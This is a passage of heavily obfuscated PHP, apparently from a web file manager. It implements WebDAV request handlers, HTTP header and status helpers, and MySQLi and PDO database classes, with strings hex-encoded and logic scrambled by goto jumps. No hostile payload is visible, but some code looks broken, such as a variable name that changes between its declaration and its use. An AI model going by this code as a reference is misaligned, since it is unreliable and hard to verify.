get_path_ext($bɎǗ[$c[28]]); $C͇ = get_file_mime($d); $fÞ = $c[1770]; $fÞ .= "\x3c\x44\72\x67\145\x74\143\x6f\156\x74\145\x6e\x74\x74\x79\160\x65\x3e{$C͇}\x3c\x2f\x44\x3a\x67\145\164\x63\157\x6e\164\145\x6e\x74\164\171\160\145\76"; } return "\12\11\x9\x3c\x44\72\162\145\163\x70\x6f\156\x73\145\x3e\xa\11\11\x9\x3c\x44\72\150\162\145\x66\x3e{$f[$c[1765]]}\x3c\57\x44\x3a\150\x72\145\146\76\12\11\x9\x9\x3c\104\x3a\160\x72\x6f\x70\x73\164\x61\164\x3e\xa\x9\x9\11\x9\74\x44\x3a\160\162\157\x70\x3e\xa\11\11\11\11\11\74\x44\x3a\x67\145\x74\x6c\x61\x73\164\x6d\157\x64\151\x66\151\x65\x64\x3e{$f[$c[106]]}\x3c\57\x44\72\147\145\x74\154\x61\x73\x74\x6d\157\x64\151\146\x69\x65\x64\x3e\12\11\x9\x9\11\x9\x3c\104\x3a\x63\162\x65\x61\x74\151\x6f\x6e\x64\141\164\x65\x3e{$f[$c[183]]}\x3c\x2f\104\x3a\x63\162\145\x61\x74\151\157\x6e\144\141\164\x65\x3e\xa\x9\11\x9\x9\x9\x3c\104\72\x67\145\x74\x63\x6f\x6e\164\145\156\164\x6c\x65\156\x67\x74\150\76{$f[$c[77]]}\x3c\57\104\x3a\x67\145\164\143\157\156\164\145\x6e\x74\x6c\x65\156\147\164\150\x3e\12\11\11\x9\11\11{$fÞ}\12\x9\x9\x9\11\x3c\57\104\x3a\x70\162\x6f\160\x3e\12\x9\x9\11\11\x3c\104\x3a\x73\x74\141\164\x75\x73\76\110\124\x54\x50\57\x31\56\61\40\62\60\x30\x20\x4f\113\74\57\104\x3a\163\164\141\164\165\163\x3e\12\11\11\11\x3c\57\104\72\160\x72\157\160\163\x74\141\x74\76\12\11\x9\74\x2f\104\x3a\x72\145\163\x70\157\156\x73\145\x3e"; } public function pathListMerge($C΃) { goto c܉ӥ; Dٯ: return $Fζ; goto B䐻; c܉ӥ: $f =& $_SERVER[ֹ]; if (!$C΃) { return $C΃; } $A¼ُ = array($f[73], $f[74], $f[1771]); goto dڈʲ; dڈʲ: $Fζ = array(); foreach ($C΃ as $C => $e쌏) { if (!in_array($C, $A¼ُ) || !is_array($e쌏)) { continue; } $Fζ = array_merge($Fζ, $e쌏); } foreach ($Fζ as &$Dʒ) { $Dʒ[$f[28]] = str_replace($f[8], $f[1368], $Dʒ[$f[28]]); } goto Dٯ; B䐻: } public function httpPROPFIND() { goto E; cӐ: return array($c[1774] => 207, $c[1775] => "\x3c\104\x3a\x6d\x75\154\164\151\163\164\x61\164\165\x73\x20\170\155\154\x6e\x73\72\104\x3d\x22\x44\101\x56\72\x22\x3e\xa{$dόݮ}\12\74\x2f\x44\72\x6d\165\154\164\x69\163\x74\x61\x74\165\163\x3e"); goto C쉬; eŽ: $c = $C[$c[1772]]; if (!is_array($e֎Ζ΂) || $c[$c[1773]] === !1) { return array($c[1774] => 404, $c[1775] => $c[1776]); } $dГ = $c[$c[29]] == $c[163] || HttpHeader::get($c[1751]) == $c[464]; goto b; E: $c =& $_SERVER[ֹ]; $C = $this->pathList($this->path); $e֎Ζ΂ = $this->pathListMerge($C); goto eŽ; b: if ($dГ) { $e֎Ζ΂ = array($c); } else { $c[$c[28]] = $c[33]; $e֎Ζ΂ = array_merge(array($c), $e֎Ζ΂); } $dόݮ = $c[33]; foreach ($e֎Ζ΂ as $e) { $dόݮ .= $this->parseItemXml($e, $dГ); } goto cӐ; C쉬: } public function httpHEAD() { $Eܴȉ =& $_SERVER[ֹ]; $aͭ = $this->pathInfo($this->path); if (!$aͭ || $aͭ[$Eܴȉ[29]] == $Eܴȉ[76]) { return array($Eܴȉ[1026] => 200, $Eܴȉ[1193] => array($Eܴȉ[1777])); } return array($Eܴȉ[1026] => 200, $Eܴȉ[1193] => array($Eܴȉ[1778], $Eܴȉ[135], $Eܴȉ[1779] . $aͭ[$Eܴȉ[77]], $Eܴȉ[1780] . get_file_mime($aͭ[$Eܴȉ[156]]), $Eܴȉ[131] . gmdate($Eܴȉ[1766], $aͭ[$Eܴȉ[1240]]) . $Eܴȉ[1781], $Eܴȉ[1782])); } public function httpOPTIONS() { $a =& $_SERVER[ֹ]; return array($a[1026] => 200, $a[1193] => array($a[1783], $a[1784], $a[1785], $a[1249])); } public function httpPROPPATCH() { $Aà =& $_SERVER[ֹ]; $D = $AÃ[1786] . $_SERVER[$AÃ[1366]] . $AÃ[1787]; return array($AÃ[1774] => 207, $AÃ[1775] => "\74\104\x3a\x6d\165\154\x74\151\163\164\x61\x74\165\163\x20\x78\155\x6c\x6e\x73\72\x44\75\42\x44\101\x56\x3a\x22\76\12{$D}\xa\74\57\104\x3a\x6d\165\154\x74\x69\x73\164\141\164\165\x73\x3e"); } public function httpGET() { $this->pathOut($this->path); } public function httpPUT() { $b܄ =& $_SERVER[ֹ]; $b = $this->uploadFile(); if ($b) { $E = 204; } else { $b = $b܄[33]; $E = 201; } $cӍ = $this->pathPut($this->path, $b); if ($cӍ == !1) { $E = 404; } return array($b܄[1774] => $E); } private function uploadFile() { goto Cӑ㽮; D: while (!feof($Bâ)) { fwrite($E, fread($Bâ, 1024 * 200)); } fclose($Bâ); fclose($E); goto f№; a϶܉: $E = @fopen($c੗ħұ, $bў[1497]); $Bâ = @fopen($bў[1789], $bў[1496]); if (!$Bâ || !$E) { @unlink($c੗ħұ); return !1; } goto D; Cӑ㽮: $bў =& $_SERVER[ֹ]; @mk_dir(TEMP_FILES); $c੗ħұ = TEMP_FILES . $bў[1788] . rand_string(32); goto a϶܉; f№: if (@filesize($c੗ħұ) > 0) { return $c੗ħұ; } @unlink($c੗ħұ); return !1; goto Cߌ; Cߌ: } public function httpMKCOL() { $aᗕ =& $_SERVER[ֹ]; if ($this->pathExists($this->path)) { return array($aᗕ[1026] => 409); } $f񼧶 = $this->pathMkdir($this->path); return array($aᗕ[1026] => $f񼧶 ? 201 : 403); } public function httpMOVE() { $CĚݑ =& $_SERVER[ֹ]; $eƵ = $this->parsePath($this->pathGet(!0)); if (isset($_SERVER[$CĚݑ[1790]])) { $C[$CĚݑ[1791]] = $_SERVER[$CĚݑ[1790]] == $CĚݑ[1792]; } $E޸ = $this->pathMove($this->path, $eƵ); return array($CĚݑ[1026] => $E޸ ? 201 : 404); } public function httpCOPY() { $FêÌ = $this->parsePath($this->pathGet(!0)); $Bӌ = $this->pathCopy($this->path, $FêÌ); return array($_SERVER[ֹ][1026] => $Bӌ ? 201 : 404); } public function httpDELETE() { $c = $this->pathRemove($this->path); return array($_SERVER[ֹ][1026] => $c ? 200 : 503); } public function httpLOCK() { $d٪ =& $_SERVER[ֹ]; $fݕݼ = md5($this->path); $dΌ = $d٪[1793] . $this->xmlGet($d٪[1794]) . $d٪[1795] . $fݕݼ . $d٪[1796]; return array($d٪[1026] => 200, $d٪[1193] => array($d٪[1797] . $fݕݼ, $d٪[1798]), $d٪[1799] => $dΌ); } public function httpUNLOCK() { return array($_SERVER[ֹ][1026] => 204); } public function xmlGet($AƸ) { goto F߬; D̢: return $D[33]; goto b㣌; F߬: $D =& $_SERVER[ֹ]; static $a񙫴 = false; if (!$a񙫴) { $Cጵ = file_get_contents($D[1800]); $a񙫴 = new DOMDocument(); $a񙫴->loadXML($Cጵ); } goto C֠ш; C֠ш: $D٠ = array_shift(explode($D[8], $AƸ)); $a² = $a񙫴->getElementsByTagNameNS($D[1801], $D٠); if ($a²) { return $a²[0]->nodeValue; } goto D̢; b㣌: } public static function response($C蕫) { goto Fϗϩ; Fϗϩ: $d۰ =& $_SERVER[ֹ]; $Cͭ = is_array($C蕫[$d۰[1193]]) ? $C蕫[$d۰[1193]] : array(); $Cͭ[] = HttpHeader::code($C蕫[$d۰[1026]]); goto e۪; aܸԖ: if (is_string($C蕫[$d۰[1799]])) { header($d۰[1802]); $DϜ = $d۰[1803] . $d۰[213] . $C蕫[$d۰[1799]]; echo $DϜ; } goto b; e۪: $Cͭ[] = $d۰[1741]; $Cͭ[] = $d۰[1742]; foreach ($Cͭ as $c) { header($c); } goto aܸԖ; b: } } class HttpHeader { public static $_headers = array("\x48\157\x73\x74" => "\x48\x54\124\120\x5f\x48\117\123\124", "\125\x73\x65\x72\55\101\x67\x65\156\x74" => "\110\124\124\x50\x5f\x55\x53\105\122\x5f\x41\107\x45\116\124", "\x43\x6f\156\x74\145\156\x74\55\x54\x79\x70\x65" => "\110\x54\124\120\137\x43\117\116\124\x45\116\x54\137\124\131\x50\105", "\x43\x6f\x6e\x74\145\x6e\164\x2d\x4c\x65\x6e\x67\164\150" => "\110\124\124\120\x5f\103\117\116\124\105\116\x54\x5f\114\105\116\x47\124\x48", "\x44\145\x70\164\x68" => "\110\124\x54\120\137\104\x45\x50\124\x48", "\105\170\160\x65\143\164" => "\x48\124\x54\120\x5f\x45\130\x50\x45\103\124", "\x49\146\55\x4e\157\x6e\145\x2d\x4d\141\x74\143\x68" => "\x48\124\x54\x50\x5f\x49\106\137\116\x4f\x4e\x45\137\115\101\124\x43\110", "\x49\146\55\x4d\141\164\x63\x68" => "\110\124\x54\x50\137\x49\106\137\x4d\x41\x54\103\x48", "\x49\146\55\122\x61\x6e\x67\x65" => "\110\x54\x54\120\137\111\x46\137\x52\101\116\x47\105", "\x4c\141\163\x74\x2d\115\x6f\144\x69\146\151\x65\x64" => "\110\124\124\120\x5f\x4c\x41\x53\x54\x5f\x4d\x4f\104\x49\x46\x49\x45\x44", "\111\x66\55\x4d\x6f\x64\151\x66\151\145\144\55\x53\x69\156\143\x65" => "\x48\124\124\120\137\111\x46\x5f\x4d\x4f\104\x49\x46\111\x45\104\x5f\123\x49\x4e\x43\105", "\111\146\55\x55\156\x6d\x6f\144\x69\146\151\145\144\55\x53\x69\156\x63\x65" => "\110\124\x54\120\x5f\x49\106\137\125\116\x4d\x4f\104\x49\x46\x49\105\x44\x5f\x53\x49\x4e\x43\x45", "\x52\141\x6e\x67\145" => "\110\x54\x54\x50\137\122\x41\x4e\x47\x45", "\x54\x69\x6d\145\x6f\165\164" => "\110\x54\124\x50\137\x54\x49\x4d\105\117\x55\124", "\111\146" => "\x48\x54\x54\120\137\x49\106", "\114\x6f\x63\x6b\x2d\124\157\153\145\x6e" => "\x48\124\124\x50\137\x4c\117\x43\x4b\x5f\124\117\x4b\105\x4e", "\117\x76\x65\162\x77\x72\x69\x74\x65" => "\110\x54\124\x50\x5f\117\x56\105\122\127\122\x49\x54\x45", "\104\x65\163\x74\151\156\x61\164\x69\x6f\156" => "\110\124\x54\x50\137\x44\105\x53\x54\111\116\x41\124\111\x4f\116", "\122\x65\x71\x75\145\x73\x74\55\x49\144" => "\122\x45\x51\x55\105\123\124\137\x49\x44", "\x52\145\161\165\x65\163\164\55\102\157\x64\x79\x2d\x46\151\x6c\x65" => "\x52\105\121\x55\105\123\x54\x5f\x42\117\104\131\137\106\x49\114\x45", "\122\x65\144\x69\x72\145\143\x74\55\123\164\x61\x74\165\x73" => "\x52\x45\x44\x49\122\105\x43\124\x5f\123\124\x41\x54\125\x53"); public static function init() { static $f = false; if ($f) { return; } foreach ($_SERVER as $Eݍܠ => $d҈) { $Eݍܠ = strtoupper($Eݍܠ); if (!array_key_exists($Eݍܠ, $_SERVER)) { continue; } $_SERVER[$Eݍܠ] = $d҈; } foreach (self::$_headers as $Eݍܠ => $A) { if (!array_key_exists($Eݍܠ, $_SERVER)) { continue; } $_SERVER[$Eݍܠ] = $_SERVER[$A]; $_SERVER[strtoupper($Eݍܠ)] = $_SERVER[$A]; } } public static function get($a⟰) { self::init(); return $_SERVER[$a⟰] ? $_SERVER[$a⟰] : $_SERVER[$_SERVER[ֹ][1804] . strtoupper($a⟰)]; } public static function method() { return strtoupper(self::get($_SERVER[ֹ][150])); } public static function length() { $Eд̂ =& $_SERVER[ֹ]; $B = self::get($Eд̂[1805]); if (!$B) { $B = self::get($Eд̂[1132]); } return $B; } public static function range() { $a =& $_SERVER[ֹ]; $fÐ = self::get($a[194]); if (!$fÐ) { return !1; } if (!preg_match($a[1806], $fÐ, $d)) { return !1; } if ($d[1] === $a[33] && $d[2] === $a[33]) { return !1; } return array($d[1] !== $a[33] ? $d[1] : null, $d[2] !== $a[33] ? $d[2] : null); } public static $statusCode = array("\61\x30\60" => "\103\x6f\x6e\x74\151\156\165\145", "\x31\x30\x31" => "\123\167\151\164\x63\x68\x69\x6e\147\x20\x50\x72\x6f\x74\x6f\x63\157\x6c", "\61\x30\62" => "\x50\x72\157\143\x65\163\163\x69\x6e\x67", "\61\x30\x33" => "\x45\x61\162\x6c\171\40\x48\151\x6e\x74\163", "\x32\x30\x30" => "\x4f\113", "\62\60\x31" => "\103\x72\145\x61\164\x65\144", "\x32\x30\62" => "\101\x63\143\x65\x70\x74\145\144", "\x32\60\x33" => "\116\x6f\x6e\x2d\101\165\x74\150\x6f\x72\151\x74\x61\x74\151\166\x65\40\x49\x6e\x66\157\x72\x6d\141\x74\x69\157\x6e", "\62\x30\x34" => "\x4e\x6f\x20\x43\x6f\x6e\164\145\x6e\x74", "\62\60\65" => "\122\x65\163\x65\164\x20\x43\157\156\164\x65\x6e\x74", "\62\60\66" => "\x50\141\x72\164\x69\141\154\x20\x43\157\x6e\164\145\156\x74", "\x32\x30\67" => "\115\x75\x6c\164\x69\x2d\x53\x74\x61\x74\x75\x73", "\x33\x30\x30" => "\115\x75\154\164\x69\160\x6c\x65\x20\103\x68\157\151\143\x65\163", "\63\60\x31" => "\x4d\x6f\x76\145\x64\40\120\145\x72\155\141\x6e\145\x6e\164\154\171", "\63\60\x32" => "\106\x6f\165\x6e\144", "\x33\60\63" => "\123\145\x65\40\x4f\x74\x68\x65\162", "\x33\x30\x34" => "\116\x6f\x74\x20\115\157\x64\x69\x66\x69\145\144", "\63\x30\x35" => "\125\163\x65\x20\x50\162\x6f\x78\x79", "\x33\x30\x37" => "\124\145\x6d\x70\x6f\162\141\162\x79\x20\122\145\x64\x69\x72\x65\143\x74", "\63\60\70" => "\120\x65\162\x6d\x61\x6e\145\x6e\164\40\122\145\144\151\x72\145\x63\x74", "\64\x30\60" => "\102\x61\144\x20\122\x65\x71\x75\145\x73\164", "\x34\60\x31" => "\125\x6e\x61\165\164\x68\157\x72\x69\x7a\145\x64", "\64\x30\x32" => "\120\141\171\x6d\145\x6e\x74\40\x52\x65\x71\x75\x69\x72\x65\x64", "\64\60\63" => "\x46\x6f\162\142\x69\x64\x64\x65\156", "\64\x30\x34" => "\116\x6f\x74\40\x46\x6f\x75\x6e\x64", "\64\x30\65" => "\x4d\x65\x74\x68\x6f\144\40\x4e\x6f\164\40\x41\154\x6c\157\x77\145\x64", "\x34\60\66" => "\116\157\164\x20\x41\143\x63\x65\160\164\x61\x62\154\145", "\x34\60\67" => "\x50\162\x6f\x78\x79\x20\x41\x75\x74\x68\145\156\164\x69\x63\141\164\151\x6f\x6e\x20\122\x65\x71\x75\x69\x72\145\x64", "\64\60\x38" => "\122\145\161\165\x65\x73\x74\x20\124\x69\155\x65\x6f\165\164", "\x34\x30\71" => "\x43\157\x6e\x66\x6c\x69\x63\x74", "\64\61\60" => "\107\157\x6e\x65", "\x34\x31\x31" => "\114\x65\156\147\x74\x68\x20\122\145\x71\x75\151\x72\145\x64", "\x34\x31\62" => "\120\162\145\x63\157\x6e\144\x69\164\x69\157\156\x20\106\141\x69\x6c\x65\x64", "\64\61\x33" => "\x52\145\161\165\x65\163\x74\x20\105\x6e\x74\x69\164\171\40\124\157\x6f\40\114\x61\162\147\145", "\x34\61\x34" => "\122\x65\161\x75\x65\163\164\40\x55\x52\111\x20\124\157\x6f\x20\114\x61\x72\147\145", "\x34\x31\x35" => "\125\x6e\163\165\x70\x70\x6f\x72\164\145\x64\x20\115\x65\144\151\141\40\124\171\160\x65", "\x34\x31\x36" => "\122\145\161\x75\x65\163\x74\145\144\x20\x52\x61\156\x67\145\40\x4e\157\x74\40\123\141\x74\x69\x73\x66\151\x61\142\x6c\x65", "\64\61\x37" => "\x45\170\160\x65\143\x74\x61\x74\x69\157\x6e\40\x46\141\x69\x6c\x65\x64", "\x34\x32\62" => "\x55\156\160\162\x6f\x63\145\163\x73\141\x62\154\145\40\105\x6e\164\151\164\171", "\64\62\x33" => "\114\157\143\x6b\x65\x64", "\x34\x32\64" => "\106\141\x69\154\145\x64\x20\x44\145\160\x65\x6e\144\x65\x6e\143\171", "\64\x32\65" => "\125\156\157\x72\144\145\162\x65\x64\x20\x43\x6f\154\154\145\x63\164\x69\157\x6e", "\x34\62\66" => "\125\x70\x67\162\141\x64\x65\40\x52\x65\161\165\151\162\145\x64", "\x34\x32\70" => "\120\162\x65\x63\157\x6e\x64\x69\164\x69\157\156\x20\x52\x65\x71\165\151\x72\145\x64", "\x34\x32\x39" => "\x54\157\x6f\x20\x4d\x61\x6e\171\x20\x52\145\161\165\145\x73\164\163", "\x34\x33\61" => "\122\x65\x71\165\x65\x73\x74\x20\110\x65\141\x64\145\162\40\106\x69\x65\x6c\144\163\x20\124\157\x6f\x20\114\141\162\x67\x65", "\64\64\64" => "\116\157\40\122\x65\163\x70\157\x6e\163\x65", "\64\65\60" => "\102\x6c\x6f\143\x6b\145\144\40\142\171\x20\127\151\x6e\x64\x6f\x77\x73\40\x50\141\x72\x65\156\164\x61\x6c\x20\x43\157\x6e\x74\x72\157\154\163", "\64\x35\x31" => "\125\x6e\141\x76\141\x69\x6c\141\142\154\x65\x20\x46\x6f\162\x20\114\145\x67\x61\154\x20\122\145\141\163\x6f\156\163", "\x34\x39\x34" => "\x52\145\x71\165\145\x73\x74\x20\110\145\x61\x64\145\x72\x20\124\x6f\157\x20\114\141\x72\147\x65", "\65\60\x30" => "\x49\156\164\145\162\x6e\141\x6c\40\x53\x65\162\166\145\162\40\x45\162\x72\x6f\x72", "\x35\x30\x31" => "\116\157\x74\x20\111\155\160\154\145\x6d\x65\156\164\145\144", "\65\x30\62" => "\102\141\x64\x20\107\x61\x74\145\x77\141\171", "\65\60\x33" => "\x53\x65\162\x76\151\x63\x65\40\x55\x6e\141\166\x61\151\x6c\141\x62\154\145", "\65\x30\64" => "\x47\x61\164\145\x77\141\171\40\x54\151\155\145\157\165\x74", "\65\x30\65" => "\110\x54\x54\x50\x20\126\x65\x72\x73\x69\157\156\x20\156\157\x74\x20\x73\165\160\x70\x6f\162\164\145\144", "\65\60\67" => "\x49\156\163\165\x66\146\x69\143\151\x65\156\x74\40\123\x74\157\x72\141\x67\145"); public static function code($Aى) { $CҎ =& $_SERVER[ֹ]; $Aى = $Aى . $CҎ[33]; $f = self::$statusCode[$Aى]; $f = $f ? "\110\124\x54\x50\x2f\x31\x2e\x31\x20{$Aى}\40" . $f : $CҎ[33]; return $f; } } goto Cͳ; FϹж: class DbMysqli extends Db { public function __construct($EǬ = '') { $eá =& $_SERVER[ֹ]; if (!extension_loaded($eá[724])) { think_exception(think_lang($eá[10]) . $eá[821]); } if (!empty($EǬ)) { $this->config = $EǬ; if (empty($this->config[$eá[13]])) { $this->config[$eá[13]] = $eá[33]; } } } public function connect($b׽ = '', $b = 0) { $cڷ =& $_SERVER[ֹ]; if (!isset($this->linkID[$b])) { goto C櫻; Eȋ: $this->connected = !0; if (1 != think_config($cڷ[18])) { unset($this->config); } goto Fޟ; a͟׆: $aȍ = $this->linkID[$b]->server_version; $this->linkID[$b]->query($cڷ[799] . think_config($cڷ[800]) . $cڷ[55]); if ($aȍ > $cڷ[801]) { $this->linkID[$b]->query($cڷ[802]); } goto Eȋ; C櫻: if (empty($b׽)) { $b׽ = $this->config; } $this->linkID[$b] = new mysqli($b׽[$cڷ[795]], $b׽[$cڷ[797]], $b׽[$cڷ[798]], $b׽[$cڷ[17]], $b׽[$cڷ[796]] ? intval($b׽[$cڷ[796]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } goto a͟׆; Fޟ: } return $this->linkID[$b]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($dΈą) { goto Cڒ; Cڒ: $Eރϰ =& $_SERVER[ֹ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } goto Bҟ܅; Bҟ܅: $this->queryStr = $dΈą; if ($this->queryID) { $this->free(); } think_action_status($Eރϰ[19], 1); goto b܃Ӧ; b܃Ӧ: think_status($Eރϰ[20]); $this->queryID = $this->_linkID->query($dΈą); if ($this->_linkID->more_results()) { while (($dɆ햷 = $this->_linkID->next_result()) != NULL) { $dɆ햷->free_result(); } } goto f; f: $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } goto a平; a平: } public function execute($Cڟ) { goto bኽ; D؄: think_status($EȐ[20]); $Cϫ = $this->_linkID->query($Cڟ); $this->debug(); goto f; bኽ: $EȐ =& $_SERVER[ֹ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } goto E⊠; E⊠: $this->queryStr = $Cڟ; if ($this->queryID) { $this->free(); } think_action_status($EȐ[21], 1); goto D؄; f: if (!1 === $Cϫ) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } goto dȻ; dȻ: } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $DΪ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$DΪ) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $A߰ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$A߰) { $this->error(); return !1; } } return !0; } private function getAll() { $Cۺ = array(); if ($this->numRows > 0) { for ($E‹ = 0; $E‹ < $this->numRows; $E‹++) { $Cۺ[$E‹] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $Cۺ; } public function getFields($Cˉ̂) { $E۞ =& $_SERVER[ֹ]; $f⠶ = $this->query($E۞[806] . $this->parseKey($Cˉ̂)); $a = array(); if ($f⠶) { foreach ($f⠶ as $E󽋽 => $d) { $a[$d[$E۞[27]]] = array($E۞[28] => $d[$E۞[27]], $E۞[29] => $d[$E۞[30]], $E۞[31] => (bool) ($d[$E۞[32]] === $E۞[33]), $E۞[34] => $d[$E۞[35]], $E۞[36] => strtolower($d[$E۞[37]]) == $E۞[38], $E۞[39] => strtolower($d[$E۞[40]]) == $E۞[41]); } } return $a; } public function getTables($dըݾ = '') { $dǚη =& $_SERVER[ֹ]; $a٣ = !empty($dըݾ) ? $dǚη[808] . $dըݾ : $dǚη[809]; $D爭܇ = $this->query($a٣); $C闕٢ = array(); if ($D爭܇) { foreach ($D爭܇ as $C => $DǷ) { $C闕٢[$C] = current($DǷ); } } return $C闕٢; } public function replace($fȐ, $d齶 = array()) { $a歏贏 =& $_SERVER[ֹ]; foreach ($fȐ as $Aۏ => $Fׂ߂) { $d = $this->parseValue($Fׂ߂); if (is_scalar($d)) { $eȢ[] = $d; $C[] = $this->parseKey($Aۏ); } } $Fɣ¬ = $a歏贏[810] . $this->parseTable($d齶[$a歏贏[263]]) . $a歏贏[811] . implode($a歏贏[47], $C) . $a歏贏[812] . implode($a歏贏[47], $eȢ) . $a歏贏[813]; return $this->execute($Fɣ¬); } public function insertAll($bƉ, $D˲ = array(), $Aᅝ޾ = false) { goto F; cй: $c = array(); foreach ($bƉ as $c毈) { $e؉ = array(); foreach ($c毈 as $d => $aޯ) { $aޯ = $this->parseValue($aޯ); if (is_scalar($aޯ)) { $e؉[] = $aޯ; } } $c[] = $BȈφ[244] . implode($BȈφ[47], $e؉) . $BȈφ[813]; } array_walk($a, array($this, $BȈφ[814])); goto dӲ; dӲ: $e = ($Aᅝ޾ ? $BȈφ[815] : $BȈφ[816]) . $BȈφ[817] . $this->parseTable($D˲[$BȈφ[263]]) . $BȈφ[811] . implode($BȈφ[47], $a) . $BȈφ[818] . implode($BȈφ[47], $c); return $this->execute($e); goto fґâ; F: $BȈφ =& $_SERVER[ֹ]; if (!is_array($bƉ[0])) { return !1; } $a = array_keys($bƉ[0]); goto cй; fґâ: } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $B =& $_SERVER[ֹ]; $this->error = $this->_linkID->errno . $B[4] . $this->_linkID->error; if ($B[33] != $this->queryStr) { $this->error .= LNG($B[45]) . $this->queryStr; } think_trace($this->error, $B[33], $B[46]); return $this->error; } public function escapeString($b竴) { if ($this->_linkID) { return $this->_linkID->real_escape_string($b竴); } else { return addslashes($b竴); } } public function parseKey(&$Aѝߥ, $E = true) { $d͍ν =& $_SERVER[ֹ]; if ($E) { $Aѝߥ = $this->parseKeyCheck($Aѝߥ); } if ($Aѝߥ != $d͍ν[172] && !preg_match($d͍ν[819], $Aѝߥ)) { $Aѝߥ = $d͍ν[820] . trim($Aѝߥ, $d͍ν[820]) . $d͍ν[820]; } return $Aѝߥ; } } class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($f򑺸ç = '') { $Aߴ =& $_SERVER[ֹ]; if (!class_exists($Aߴ[822])) { think_exception(think_lang($Aߴ[10]) . $Aߴ[823]); } if (!empty($f򑺸ç)) { $this->config = $f򑺸ç; if (empty($this->config[$Aߴ[13]])) { $this->config[$Aߴ[13]] = array(); } } } public function connect($cӭפ = '', $A䗋 = 0) { $e׍ =& $_SERVER[ֹ]; if (!isset($this->linkID[$A䗋])) { goto D疩; D疩: if (empty($cӭפ)) { $cӭפ = $this->config; } if ($this->pconnect) { $cӭפ[$e׍[13]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$A䗋] = new PDO($cӭפ[$e׍[824]], $cӭפ[$e׍[797]], $cӭפ[$e׍[798]], $cӭפ[$e׍[13]]); } catch (PDOException $A˰) { think_exception($A˰->getMessage()); } goto a; a: $this->dbType = $this->_getDsnType($cӭפ[$e׍[824]]); if (in_array($this->dbType, array($e׍[825], $e׍[826], $e׍[827], $e׍[828]))) { think_exception($e׍[829] . $this->dbType . $e׍[830] . $this->dbType . $e׍[831]); } if (!$this->linkID[$A䗋]) { think_exception($e׍[832]); } goto Aƿ܊; Aƿ܊: $this->linkID[$A䗋]->exec($e׍[833] . think_config($e׍[800])); $this->connected = !0; if (1 != think_config($e׍[18])) { unset($this->config); } goto A; A: } return $this->linkID[$A䗋]; } public function free() { $this->PDOStatement = null; } public function query($d, $F = array()) { goto d¦׻; f޶: if (!1 === $this->PDOStatement) { think_exception($this->error()); } $eȌ = $this->PDOStatement->execute($F); $this->debug(); goto Fʚ; Fʚ: if (!1 === $eȌ) { $this->error(); return !1; } else { return $this->getAll(); } goto Bʩ; E´ƺ: $this->queryStr = $d; if (!empty($F)) { $this->queryStr .= $C笆[834] . print_r($F, !0) . $C笆[835]; } if (!empty($this->PDOStatement)) { $this->free(); } goto B庰; B庰: think_action_status($C笆[19], 1); think_status($C笆[20]); $this->PDOStatement = $this->_linkID->prepare($d); goto f޶; d¦׻: $C笆 =& $_SERVER[ֹ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } goto E´ƺ; Bʩ: } public function execute($EŅ, $Bɕ = array()) { goto C̸; C̸: $dݔ =& $_SERVER[ֹ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } goto fۡ; fۡ: $this->queryStr = $EŅ; if (!empty($Bɕ)) { $this->queryStr .= $dݔ[834] . print_r($Bɕ, !0) . $dݔ[835]; } $Bԉ = !1; goto d؉̢; d: $dЈœ = $this->PDOStatement->execute($Bɕ); $this->debug(); if (!1 === $dЈœ) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($Bԉ || preg_match($dݔ[840], $EŅ)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } goto ań; d؉̢: if ($this->dbType == $dݔ[828]) { if (preg_match($dݔ[836], $this->queryStr, $f카)) { $this->table = think_config($dݔ[837]) . str_ireplace(think_config($dݔ[838]), $dݔ[357], $f카[2]); $Bԉ = (bool) $this->query($dݔ[839] . strtoupper($this->table) . $dݔ[55]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($dݔ[21], 1); goto b; b: think_status($dݔ[20]); $this->PDOStatement = $this->_linkID->prepare($EŅ); if (!1 === $this->PDOStatement) { think_exception($this->error()); } goto d; ań: } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $Bܵﶙ = $this->_linkID->commit(); $this->transTimes = 0; if (!$Bܵﶙ) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $A熣 = $this->_linkID->rollback(); $this->transTimes = 0; if (!$A熣) { $this->error(); return !1; } } return !0; } private function getAll() { $e뒅ծ = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($e뒅ծ); return $e뒅ծ; } public function getFields($eӜݝ) { goto cҰ; b: $bڟ = $this->query($d); $CɬǦ = array(); if ($bڟ) { foreach ($bڟ as $eƍ슆 => $bʏ) { $bʏ = array_change_key_case($bʏ); $bʏ[$CѸ[28]] = isset($bʏ[$CѸ[28]]) ? $bʏ[$CѸ[28]] : $CѸ[357]; $bʏ[$CѸ[29]] = isset($bʏ[$CѸ[29]]) ? $bʏ[$CѸ[29]] : $CѸ[357]; $fȶ = isset($bʏ[$CѸ[257]]) ? $bʏ[$CѸ[257]] : $bʏ[$CѸ[28]]; $CɬǦ[$fȶ] = array($CѸ[28] => $fȶ, $CѸ[29] => $bʏ[$CѸ[29]], $CѸ[31] => 